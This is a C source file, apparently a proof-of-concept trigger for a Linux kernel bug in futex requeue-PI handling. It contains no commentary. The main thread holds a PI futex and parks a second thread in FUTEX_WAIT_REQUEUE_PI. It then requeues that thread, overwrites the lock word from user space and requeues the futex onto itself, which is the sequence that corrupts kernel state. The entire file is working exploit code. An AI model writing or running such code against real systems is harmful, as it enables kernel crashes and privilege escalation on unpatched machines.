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#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <stdlib.h>
#include <linux/futex.h>
#include <sys/syscall.h>
 
#define USERLOCK_FREE 0
#define USERLOCK_OCCUPIED 1
#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12

inline void userlock_wait(volatile const int *userlock) {
 while (USERLOCK_OCCUPIED == *userlock) {
  usleep(10);
 }
}

inline void userlock_lock(volatile int *userlock) {
 *userlock = USERLOCK_OCCUPIED; 
}

inline void userlock_release(volatile int *userlock) {
 *userlock = USERLOCK_FREE;
}

int get_voluntary_ctxt_switches(pid_t tid) {
 FILE *fp;
 char proc_path[256];
 char buf[0x1000];
 char *ptr = buf;
 int count = -1;
 snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);
 fp = fopen(proc_path, "rb");
 if (fp != NULL) {
  fread(buf, sizeof(unsigned char), sizeof(buf), fp);
  ptr = strstr(buf, "voluntary_ctxt_switches:");
  ptr += strlen("voluntary_ctxt_switches:");
  count = atoi(ptr);
  fclose(fp);
 }
 return count;
}

void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) {
 while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {
  usleep(10);
 }
}

inline int futex_lock_pi(int *uaddr) {
 return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
}

inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) {
 return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);
}

inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) {
 return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);
}
 
int A = 0, B = 0;
volatile int invoke_futex_wait_requeue_pi = 0;
volatile pid_t thread_tid = -1;
 
void *thread(void *arg) {
 thread_tid = gettid();
 printf("[2]\n");
 userlock_wait(&invoke_futex_wait_requeue_pi);
 futex_wait_requeue_pi(&A, &B);
 printf("Someone woke me up\n");
 while (1) {
  sleep(1);
 }
}

int main(int argc, char *argv[]) {
 pthread_t t;
 int context_switch_count = 0;
 printf("[1]\n");
 futex_lock_pi(&B);
 userlock_lock(&invoke_futex_wait_requeue_pi);
 pthread_create(&t, NULL, thread, NULL);
 /* Wait for the thread to be in a system call */
 while (thread_tid < 0) {
  usleep(10);
 }
 context_switch_count = get_voluntary_ctxt_switches(thread_tid);
 userlock_release(&invoke_futex_wait_requeue_pi);
 wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
 printf("[3]\n");
 futex_requeue_pi(&A, &B, A);
 printf("[4]\n");
 B = 0;
 printf("[5]\n");
 futex_requeue_pi(&B, &B, B);
 while (1) {
  sleep(1);
 }
 return 0;
}